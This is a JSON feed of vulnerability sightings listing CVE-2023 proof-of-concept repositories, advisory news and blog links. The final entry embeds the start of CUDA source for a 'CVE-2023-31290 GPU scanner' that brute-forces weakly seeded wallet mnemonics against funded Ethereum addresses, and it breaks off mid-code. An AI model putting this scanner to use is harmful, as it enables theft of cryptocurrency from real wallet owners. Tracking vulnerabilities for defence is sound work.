"type": "seen", "source": "https://t.me/CVEhub/16909", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31705*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31705", "creation_timestamp": "2026-07-30T00:00:34.900539Z"}, {"uuid": "7add03d5-5475-4049-9ac7-8ae65bcfd0f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31434", "type": "seen", "source": "https://t.me/CVEhub/12035", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31434*\nGithub: https://github.com/trustcves/CVE-2023-31434", "creation_timestamp": "2026-07-30T00:00:59.959972Z"}, {"uuid": "171b9ea0-17e8-4d91-ad7f-f7fd0a04f4c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31541", "type": "seen", "source": "https://t.me/CVEhub/14727", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31541*\nGithub: https://github.com/DreamD2v/CVE-2023-31541", "creation_timestamp": "2026-07-30T00:00:46.099626Z"}, {"uuid": "1e793dd2-59f5-4717-9d67-31388e22ea72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3163", "type": "seen", "source": "https://t.me/CVEhub/14672", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2023-3163-SQL-Injection-Prevention*\nGithub: https://github.com/George0Papasotiriou/CVE-2023-3163-SQL-Injection-Prevention", "creation_timestamp": "2026-07-30T00:00:46.471516Z"}, {"uuid": "aee05018-ef28-4f90-820e-30bb3c5166d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31606", "type": "seen", "source": "https://t.me/CVEhub/14254", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31606*\nGithub: https://github.com/e23e/CVE-2023-31606", "creation_timestamp": "2026-07-30T00:00:48.988896Z"}, {"uuid": "9d6b3360-9ce4-44c7-9fb3-63bfebcf989f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31711", "type": "seen", "source": "https://t.me/CVEhub/14083", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31711*\nGithub: https://github.com/HritikThapa7/CVE-2023-31711", "creation_timestamp": "2026-07-30T00:00:50.661825Z"}, {"uuid": "9b6252c9-ea16-4b13-8d79-090b65798576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31634", "type": "seen", "source": "https://t.me/CVEhub/13251", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31634*\nGithub: https://github.com/XC9409/CVE-2023-31634", "creation_timestamp": "2026-07-30T00:00:55.384591Z"}, {"uuid": "c9d0ece0-94fa-4442-84ff-1baf5230015e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "seen", "source": "https://t.me/CVEhub/13329", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/2019000102494/CVE-2023-31702", "creation_timestamp": "2026-07-30T00:00:55.431001Z"}, {"uuid": "85a7047d-a56e-4554-abb4-2088ace2061c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "seen", "source": "https://t.me/CVEhub/13247", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31664*\nGithub: https://github.com/adilkhan7/CVE-2023-31664", "creation_timestamp": "2026-07-30T00:00:55.480256Z"}, {"uuid": "b1f777cd-ce4c-48d7-a17b-77c02f320588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "seen", "source": "https://t.me/CVEhub/13126", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31584*\nGithub: https://github.com/rootd4ddy/CVE-2023-31584", "creation_timestamp": "2026-07-30T00:00:55.850531Z"}, {"uuid": "b3c1bb1b-5644-41cb-a64f-8d948d8aeb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31747", "type": "seen", "source": "https://t.me/CVEhub/13644", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31747_filmora-unquoted*\nGithub: https://github.com/msd0pe-1/CVE-2023-31747_filmora-unquoted", "creation_timestamp": "2026-07-30T00:00:53.727842Z"}, {"uuid": "364d7bef-a302-46b3-a30f-685cb894f487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31595", "type": "seen", "source": "https://t.me/CVEhub/13610", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31595*\nGithub: https://github.com/Yozarseef95/CVE-2023-31595", "creation_timestamp": "2026-07-30T00:00:53.991580Z"}, {"uuid": "6615a78b-d6e6-4035-acb2-6fb59ec9c26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "seen", "source": "https://t.me/CVEhub/13542", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31779*\nGithub: https://github.com/jet-pentest/CVE-2023-31779", "creation_timestamp": "2026-07-30T00:00:54.177104Z"}, {"uuid": "edab7eb1-82d4-459a-a09f-80edb77310e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31726", "type": "seen", "source": "https://t.me/CVEhub/13527", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31726*\nGithub: https://github.com/J6451/CVE-2023-31726", "creation_timestamp": "2026-07-30T00:00:55.010445Z"}, {"uuid": "a479b9b4-a418-4ecf-a36a-e90c34355e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31594", "type": "seen", "source": "https://t.me/CVEhub/13605", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31594*\nGithub: https://github.com/Yozarseef95/CVE-2023-31594", "creation_timestamp": "2026-07-30T00:00:53.936559Z"}, {"uuid": "8bcd10a1-c781-4285-9eea-fa1b97a0e148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "seen", "source": "https://t.me/CVEhub/13064", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31703*\nGithub: https://github.com/sahiloj/CVE-2023-31703", "creation_timestamp": "2026-07-30T00:00:56.122070Z"}, {"uuid": "e7697fe5-9338-4543-9132-88f74497e2b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "seen", "source": "https://t.me/CVEhub/13065", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/sahiloj/CVE-2023-31702", "creation_timestamp": "2026-07-30T00:00:56.158738Z"}, {"uuid": "da37c84f-b1a8-4ffb-92f3-ecc15b5c6f14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31503", "type": "seen", "source": "https://t.me/CVEhub/12805", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2023-31503*\nGithub: https://github.com/ViCrack/CVE-2023-31503", "creation_timestamp": "2026-07-30T00:00:56.865495Z"}, {"uuid": "2343f9e3-006d-4a69-aacc-d8d00a9fc12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31435", "type": "seen", "source": "https://t.me/CVEhub/12033", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31435*\nGithub: https://github.com/trustcves/CVE-2023-31435", "creation_timestamp": "2026-07-30T00:01:00.097966Z"}, {"uuid": "9dec3db7-0693-46b3-a5fb-aa501245ec5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31433", "type": "seen", "source": "https://t.me/CVEhub/12034", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31433*\nGithub: https://github.com/trustcves/CVE-2023-31433", "creation_timestamp": "2026-07-30T00:01:00.145346Z"}, {"uuid": "95bf8c55-f4ff-4bb8-88cf-6efb7292c194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31443", "type": "seen", "source": "https://t.me/CVEhub/11777", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31443*\nGithub: https://github.com/MaherAzzouzi/CVE-2023-31443", "creation_timestamp": "2026-07-30T00:01:01.020114Z"}, {"uuid": "3c8cea7f-e37f-4fa8-9e36-28884f413703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "seen", "source": "https://t.me/CVEhub/11757", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31445-Unprivileged-Information-Disclosure*\nGithub: https://github.com/Dodge-MPTC/CVE-2023-31445-Unprivileged-Information-Disclosure", "creation_timestamp": "2026-07-30T00:01:01.190985Z"}, {"uuid": "1f3cb513-c5ae-4259-96b8-a7e898b0ed7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/reverseame/3583", "content": "CVE-2023-31248 PoC  https://github.com/kungfulon/nf-tables-lpe/tree/master/chain-active", "creation_timestamp": "2026-07-30T00:02:29.043841Z"}, {"uuid": "329de9b5-f5f1-4d12-8b10-d5af8e787669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/reverseame/3977", "content": "nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248) https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation/", "creation_timestamp": "2026-07-30T00:02:25.370288Z"}, {"uuid": "a049ef70-206a-43b3-aa5b-53c15126d1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "seen", "source": "https://t.me/reverseame/3432", "content": "CVE-2023-31070 Broadcom BCM47xx SDK EMF slab-out-of-bounds write - the uncomfortable reality of the IoT Linux kernel space https://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write/", "creation_timestamp": "2026-07-30T00:02:29.885885Z"}, {"uuid": "47c279a6-3b05-46d3-8476-1af01254490c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-01T20:00:55.886938Z"}, {"uuid": "c1fb5f83-056d-408b-9070-a0ee522ce5da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-01T20:00:57.376564Z"}, {"uuid": "4f12518e-7575-4c8c-bbf4-8c376280ba3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-02T01:01:16.346651Z"}, {"uuid": "dc7724dc-00df-4276-b662-c40270bff54c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-02T01:01:17.398212Z"}, {"uuid": "9806af1a-12b7-4029-ad62-996a52588723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v 